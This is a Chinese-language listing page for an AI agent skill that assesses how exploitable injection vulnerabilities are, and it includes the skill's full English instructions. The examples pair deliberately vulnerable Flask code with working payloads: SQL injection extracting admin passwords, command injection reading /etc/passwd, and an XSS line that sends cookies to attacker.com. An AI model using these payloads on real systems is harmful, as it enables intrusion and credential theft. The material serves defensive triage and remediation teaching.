Exploitability Analyzer 标志

Exploitability Analyzer

社区
ArabelaTso
exploitability-analyzer

Analyze detected vulnerabilities to assess realistic exploitability by examining control flow, input sources, sanitization logic, and execution context. Use when users need to: (1) Determine if a vulnerability is actually exploitable in practice, (2) Assess severity and impact of security issues, (3) Prioritize vulnerability remediation, (4) Understand attack vectors and exploitation conditions, (5) Generate exploitability reports with proof-of-concept scenarios. Focuses on injection vulnerabilities (SQL, command, XSS, path traversal, LDAP) with detailed analysis of reachability, controllability, sanitization, and impact.

概览

发布者ArabelaTso
代码仓库Skills-4-SE
技能名称exploitability-analyzer
星标数
258
复刻数
25
附带文件
1
许可协议Apache-2.0
链接
  • Markdown 格式的指令

    模型按需加载 SKILL.md 文件,因此只有在请求确实与该技能匹配时才会消耗 Token。

  • 兼容任何大语言模型

    AI 技能采用纯 Markdown,而非特定提供商的代码,因此可搭配 GPT、Claude、Gemini、Grok 或本地模型使用。

  • 1 个附带文件

    模型执行任务时可读取的脚本、模板和参考资料。这些文件为只读文件,绝不会被执行。

  • 开源

    由 ArabelaTso 发布于 GitHub。请在安装前查看技能的源文件。

安装

在 TypingMind 中安装 Exploitability Analyzer AI 技能,即可搭配任意大语言模型使用;也可以将其放入其他支持读取 SKILL.md 的智能体中。

1

安装到 TypingMind

TypingMind 可直接从 GitHub 文件夹安装技能:读取 SKILL.md,打包资源文件,并将结果保存在本地。

  1. 打开应用,前往“插件 → 技能”。
  2. 选择“从 GitHub 安装”。
  3. 粘贴下方的技能文件夹 URL 并确认。
    https://github.com/ArabelaTso/Skills-4-SE/tree/main/skills/exploitability-analyzer
  4. 请在每个需要使用该技能的聊天中启用它。
依次选择“插件 → 技能 → 添加技能 → 从 GitHub URL 导入”,然后粘贴文件夹 URL 并点击“继续”。
2

安装到其他智能体

任何支持 Agent Skills 格式的智能体都可以使用此技能,只需将文件夹复制到该智能体的技能目录中。

Claude Code — .claude/skills
git clone --depth 1 https://github.com/ArabelaTso/Skills-4-SE.git /tmp/Skills-4-SE
mkdir -p .claude/skills
cp -r /tmp/Skills-4-SE/skills/exploitability-analyzer .claude/skills/exploitability-analyzer
复制后,请重启 Claude Code,以加载新技能。

在 TypingMind 中使用此技能

在任意 TypingMind 聊天中启用 Exploitability Analyzer,后续即可交由模型处理。技能的名称和描述会放在系统提示词中,一旦请求匹配,模型就会自动加载完整指令,无需您手动调用,且在实际使用前不会消耗 Token。

一旦请求与技能匹配,模型就会自动加载 Exploitability Analyzer。

兼容任何 AI 模型

AI 技能是纯 Markdown 指令,而非特定提供商的代码,因此 Exploitability Analyzer 不局限于最初适配的模型。只需在 TypingMind 中安装一次,即可搭配 GPT-5、Claude、Gemini、Grok、DeepSeek、Mistral、Llama 或您自行运行的本地模型使用,全程使用您自己的 API 密钥。

  • 仅在需要时加载

    系统提示词中仅包含技能名称和描述。首次遇到匹配的请求时才会加载完整指令,因此技能未使用时,这些指令不会消耗 Token。

  • 在聊天中切换模型

    技能是指令而非代码,因此切换模型不会导致技能失效,新模型会读取同一个 SKILL.md。

技能指令

这是模型会加载的 SKILL.md 内容。请在安装前阅读,因为技能就是模型将遵循的指令。

Exploitability Analyzer

Assess whether detected vulnerabilities are realistically exploitable.

Overview

This skill analyzes security vulnerabilities to determine if they're actually exploitable in practice. It examines control flow to assess reachability, traces input sources to evaluate controllability, analyzes sanitization logic, and considers execution context to provide realistic exploitability assessments with severity ratings.

How to Use

Provide:

  1. Vulnerable code: The code containing the vulnerability
  2. Vulnerability type: SQL injection, XSS, command injection, etc.
  3. Context: Surrounding code, input sources, sanitization functions
  4. Environment (optional): Execution privileges, security controls

The skill will analyze:

  • Reachability: Can attackers reach the vulnerable code?
  • Controllability: Can attackers control the vulnerable input?
  • Sanitization: Is input properly sanitized?
  • Impact: What damage can be caused?
  • Exploitability: Overall assessment (Critical/High/Medium/Low/None)

Analysis Workflow

Step 1: Identify Vulnerability Type

Classify the vulnerability:

  • SQL Injection
  • Command Injection
  • Cross-Site Scripting (XSS)
  • Path Traversal
  • LDAP Injection
  • Other injection types

Step 2: Trace Data Flow

Follow the data from source to sink:

Source: Where does the input originate?

  • User input (query params, POST data, headers)
  • Database values (second-order injection)
  • Configuration files
  • Environment variables
  • Hardcoded values

Transformations: What happens to the input?

  • Validation checks
  • Sanitization functions
  • Encoding/escaping
  • String operations

Sink: Where is the input used dangerously?

  • SQL query execution
  • System command execution
  • HTML rendering
  • File system operations

Step 3: Assess Reachability

Question: Can an attacker reach the vulnerable code path?

Critical: Public endpoint, no authentication High: Authenticated endpoint, common user role Medium: Requires specific conditions or privileges Low: Admin-only, internal function, rare code path None: Dead code, unreachable

Step 4: Evaluate Controllability

Question: Can an attacker control the vulnerable input?

High: Direct user input (GET/POST parameters, headers) Medium: Indirect control (database, config files) Low: Derived values, heavily processed None: Hardcoded, system-generated

Step 5: Analyze Sanitization

Question: Is the input properly sanitized?

None: No sanitization, direct pass-through Weak: Blacklist filtering, incomplete escaping Partial: Some sanitization but bypassable Strong: Whitelist validation, proper escaping, parameterization

Step 6: Determine Impact

Question: What damage can an attacker cause?

Critical: Remote code execution, full system compromise High: Data breach, privilege escalation, DoS Medium: Limited data access, information disclosure Low: Minor information leak, cosmetic issues

Step 7: Calculate Exploitability

Combine factors to determine overall exploitability:

ReachabilityControllabilitySanitizationImpactExploitability
HighHighNoneCriticalCRITICAL
HighHighWeakHighHIGH
HighHighPartialMediumMEDIUM
MediumMediumStrongLowLOW
AnyAnyStrongAnyNONE

Example: SQL Injection (Critical)

Vulnerable Code:

python
@app.route('/user')
def get_user():
    username = request.args.get('username')
    query = f"SELECT * FROM users WHERE username = '{username}'"
    cursor.execute(query)
    return cursor.fetchone()

Analysis:

1. Vulnerability Type: SQL Injection

2. Data Flow:

  • Source: request.args.get('username') - user-controlled query parameter
  • Transformations: None - direct string formatting
  • Sink: cursor.execute(query) - SQL execution

3. Reachability: High

  • Public endpoint (/user)
  • No authentication required
  • Easily accessible via HTTP GET

4. Controllability: High

  • Direct user input via query parameter
  • Attacker has full control over username value
  • No restrictions on input format

5. Sanitization: None

  • No input validation
  • No escaping or parameterization
  • Direct string formatting with f-string
  • SQL metacharacters not filtered

6. Impact: Critical

  • Full database access possible
  • Can extract all user data
  • Potential for data modification/deletion
  • May enable privilege escalation
  • Possible RCE via stored procedures (database-dependent)

7. Exploitability: CRITICAL

Proof-of-Concept:

GET /user?username=' OR '1'='1' --

This bypasses authentication and returns all users.

Advanced Exploit:

GET /user?username=' UNION SELECT password FROM admin_users --

This extracts admin passwords.

Remediation:

python
@app.route('/user')
def get_user():
    username = request.args.get('username')
    # Use parameterized query
    query = "SELECT * FROM users WHERE username = ?"
    cursor.execute(query, (username,))
    return cursor.fetchone()

Example: Command Injection (High)

Vulnerable Code:

python
@app.route('/ping')
def ping_host():
    host = request.form.get('host')
    if ';' in host or '|' in host:
        return "Invalid host"
    result = os.system(f"ping -c 4 {host}")
    return f"Ping result: {result}"

Analysis:

1. Vulnerability Type: Command Injection

2. Data Flow:

  • Source: request.form.get('host') - user-controlled POST parameter
  • Transformations: Blacklist check for ; and |
  • Sink: os.system() - shell command execution

3. Reachability: High

  • Public endpoint
  • POST request (slightly less accessible than GET)
  • No authentication

4. Controllability: High

  • Direct user input
  • Attacker controls host parameter

5. Sanitization: Weak

  • Blacklist filtering only checks ; and |
  • Incomplete - doesn't block $(), backticks, &&, ||, newlines
  • Easily bypassable

6. Impact: Critical

  • Remote code execution
  • Full system compromise possible
  • Depends on execution privileges (web server user)

7. Exploitability: HIGH (not Critical due to weak sanitization that may deter casual attackers)

Proof-of-Concept:

POST /ping
host=$(whoami)

This executes whoami command.

Advanced Exploit:

POST /ping
host=127.0.0.1 && cat /etc/passwd

This reads sensitive files.

Remediation:

python
import subprocess
import shlex

@app.route('/ping')
def ping_host():
    host = request.form.get('host')
    # Validate input with whitelist
    if not re.match(r'^[a-zA-Z0-9.-]+$', host):
        return "Invalid host"
    # Use subprocess without shell
    result = subprocess.run(['ping', '-c', '4', host],
                          capture_output=True, text=True)
    return f"Ping result: {result.stdout}"

Example: XSS (Medium)

Vulnerable Code:

python
@app.route('/search')
def search():
    query = request.args.get('q', '')
    results = db.search(query)
    return render_template_string(f"""
        <h1>Search Results for: {query}</h1>
        <ul>
        {% for result in results %}
            <li>{{ result }}</li>
        {% endfor %}
        </ul>
    """, results=results)

Analysis:

1. Vulnerability Type: Cross-Site Scripting (XSS)

2. Data Flow:

  • Source: request.args.get('q') - user-controlled query parameter
  • Transformations: None
  • Sink: render_template_string() - HTML rendering with f-string

3. Reachability: High

  • Public search endpoint
  • No authentication required

4. Controllability: High

  • Direct user input via query parameter
  • Attacker controls search query

5. Sanitization: None

  • No HTML encoding
  • Direct insertion into HTML via f-string
  • Jinja2 auto-escaping bypassed by f-string

6. Impact: High

  • Session hijacking (steal cookies)
  • Phishing attacks
  • Defacement
  • Keylogging
  • Limited by browser security (CSP, HTTPOnly cookies)

7. Exploitability: MEDIUM (assuming modern browser protections)

Proof-of-Concept:

GET /search?q=<script>alert(document.cookie)</script>

This executes JavaScript in victim's browser.

Advanced Exploit:

GET /search?q=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

This exfiltrates session cookies.

Remediation:

python
from markupsafe import escape

@app.route('/search')
def search():
    query = request.args.get('q', '')
    results = db.search(query)
    # Use proper template with auto-escaping
    return render_template('search.html',
                         query=escape(query),
                         results=results)

Example: Path Traversal (Low)

Vulnerable Code:

python
@app.route('/download')
@login_required  # Requires authentication
def download_file():
    filename = request.args.get('file')
    # Blacklist check
    if '..' in filename:
        return "Invalid filename"
    filepath = os.path.join('/var/www/uploads', filename)
    return send_file(filepath)

Analysis:

1. Vulnerability Type: Path Traversal

2. Data Flow:

  • Source: request.args.get('file') - user-controlled
  • Transformations: Blacklist check for ..
  • Sink: send_file() - file system access

3. Reachability: Medium

  • Requires authentication (@login_required)
  • Accessible to authenticated users
  • Not public

4. Controllability: High

  • Direct user input
  • Attacker controls filename

5. Sanitization: Weak

  • Blacklist only checks ..
  • Doesn't prevent absolute paths
  • Bypassable with URL encoding or alternate representations

6. Impact: Medium

  • Information disclosure
  • Limited to files readable by web server user
  • Cannot execute code directly
  • Depends on file system permissions

7. Exploitability: LOW (authentication required + weak but present sanitization)

Proof-of-Concept:

GET /download?file=/etc/passwd

This may read sensitive files if absolute paths work.

Bypass Attempt:

GET /download?file=....//....//etc/passwd

This may bypass the .. check.

Remediation:

python
import os

@app.route('/download')
@login_required
def download_file():
    filename = request.args.get('file')
    # Whitelist validation
    if not re.match(r'^[a-zA-Z0-9_.-]+$', filename):
        return "Invalid filename"
    # Resolve and validate path
    base_dir = '/var/www/uploads'
    filepath = os.path.realpath(os.path.join(base_dir, filename))
    if not filepath.startswith(base_dir):
        return "Access denied"
    return send_file(filepath)

Exploitability Rating Scale

CRITICAL

  • Reachable: Public, no auth
  • Controllable: Direct user input
  • Sanitization: None
  • Impact: RCE, full compromise
  • Action: Immediate fix required

HIGH

  • Reachable: Public or authenticated
  • Controllable: Direct or indirect
  • Sanitization: Weak or bypassable
  • Impact: Data breach, privilege escalation
  • Action: Fix urgently (within days)

MEDIUM

  • Reachable: Authenticated or conditional
  • Controllable: Partial control
  • Sanitization: Partial but incomplete
  • Impact: Limited data access
  • Action: Fix in next release

LOW

  • Reachable: Restricted access
  • Controllable: Limited control
  • Sanitization: Mostly effective
  • Impact: Minor information leak
  • Action: Fix when convenient

NONE

  • Strong sanitization present
  • Not reachable by attackers
  • No realistic exploitation path
  • Action: No immediate action needed

Report Format

For each vulnerability, provide:

VULNERABILITY: <Type> in <Location>

Location: <File:line or endpoint>
Vulnerability Type: <SQL Injection, XSS, etc.>

DATA FLOW:
Source: <Where input comes from>
Transformations: <What happens to input>
Sink: <Where input is used dangerously>

EXPLOITABILITY ASSESSMENT:
Reachability: <Critical/High/Medium/Low/None> - <Explanation>
Controllability: <High/Medium/Low/None> - <Explanation>
Sanitization: <None/Weak/Partial/Strong> - <Explanation>
Impact: <Critical/High/Medium/Low> - <Explanation>

OVERALL EXPLOITABILITY: <CRITICAL/HIGH/MEDIUM/LOW/NONE>

PROOF-OF-CONCEPT:
<Example exploit demonstrating the vulnerability>

IMPACT:
<Detailed description of potential damage>

REMEDIATION:
<Specific code fix or mitigation strategy>

References

Detailed assessment criteria:

  • assessment_criteria.md: Comprehensive exploitability assessment framework with matrices for each vulnerability type

Load this reference when:

  • Need detailed criteria for specific vulnerability types
  • Want to see exploitability matrices
  • Need more examples of each assessment factor

Tips

  1. Trace data flow completely: Follow input from source to sink
  2. Don't assume sanitization works: Test for bypasses
  3. Consider execution context: Privileges matter for impact
  4. Check for defense in depth: Multiple protections reduce exploitability
  5. Verify reachability: Dead code isn't exploitable
  6. Test proof-of-concepts: Confirm exploitability when possible
  7. Consider real-world constraints: Authentication, rate limiting, monitoring
  8. Prioritize by exploitability: Fix critical issues first

附带文件

技能加载后,模型会按需读取这些文件。它们仅作为可读文件提供,绝不会被执行。

常见问题

Exploitability Analyzer AI 技能有什么作用?

Analyze detected vulnerabilities to assess realistic exploitability by examining control flow, input sources, sanitization logic, and execution context. Use when users need to: (1) Determine if a vulnerability is actually exploitable in practice, (2) Assess severity and impact of security issues, (3) Prioritize vulnerability remediation, (4) Understand attack vectors and exploitation conditions, (5) Generate exploitability reports with proof-of-concept scenarios. Focuses on injection vulnerabilities (SQL, command, XSS, path traversal, LDAP) with detailed analysis of reachability, controllab...

为什么在 TypingMind 中使用 Exploitability Analyzer?

因为您只需安装一次,就能搭配任何模型使用。Exploitability Analyzer 采用纯 Markdown 格式,而非特定提供商专用的代码,因此同一技能可用于 GPT-5、Claude、Gemini、Grok 或本地模型。您甚至可以在聊天中途切换模型,而不会影响技能的正常使用。TypingMind 使用您自己的 API 密钥,因此您直接向提供商付费,而不是按席位订阅;您的技能和聊天记录也都保留在您自己的存储空间中。

如何在 TypingMind 中安装 Exploitability Analyzer?

在 TypingMind 中打开“插件 → 技能 → 从 GitHub 安装”,然后粘贴 https://github.com/ArabelaTso/Skills-4-SE/tree/main/skills/exploitability-analyzer。TypingMind 会读取其中的 SKILL.md,打包相关文件,并将其安装为技能,供您在各个聊天中按需启用。

哪些 AI 模型可以使用 Exploitability Analyzer?

您在 TypingMind 中连接的任何模型都可以。AI 技能采用纯 Markdown 指令,而非特定提供商专用的代码,因此 GPT、Claude、Gemini、Grok 和本地模型都能在请求匹配时加载此技能。

Exploitability Analyzer 可以搭配多少个 AI 模型使用?

数量不限。只要模型支持技能,您就可以将它与 Exploitability Analyzer 搭配使用。GPT、Claude、Gemini、Grok、DeepSeek、Mistral、Llama 等模型都可以通过您自己的 API 密钥接入 TypingMind。

Exploitability Analyzer AI 技能免费吗?

是的。ArabelaTso 已在 GitHub 上根据 Apache-2.0 许可证发布了该技能。您只需向自己的 AI 提供商支付所用 Token 的费用。

什么是 AI 技能?

AI 技能是一组可复用的指令,用于教会 AI 模型完成某项特定任务。它遵循开放的 Agent Skills 格式:包含名称和描述的 SKILL.md 文件,以及模型可能需要的脚本、模板或参考文件。模型仅在您的请求与技能匹配时才会读取这些指令,因此已安装的技能在使用前不会产生任何费用。

AI 技能与插件或 MCP 服务器有何不同?

插件或 MCP 服务器为模型提供可调用的新工具,也就是在某处运行并返回结果的代码。AI 技能则为模型提供知识和流程:如何处理任务、遵循哪些步骤,以及怎样的输出才算优质。技能采用纯 Markdown 格式,因此不需要服务器、API 密钥或运行时环境,并且适用于任何模型。

查看全部

立即创建您自己的 AI 工作区

订阅我们的电子简报,获取新功能和后续赠奖活动的通知 👇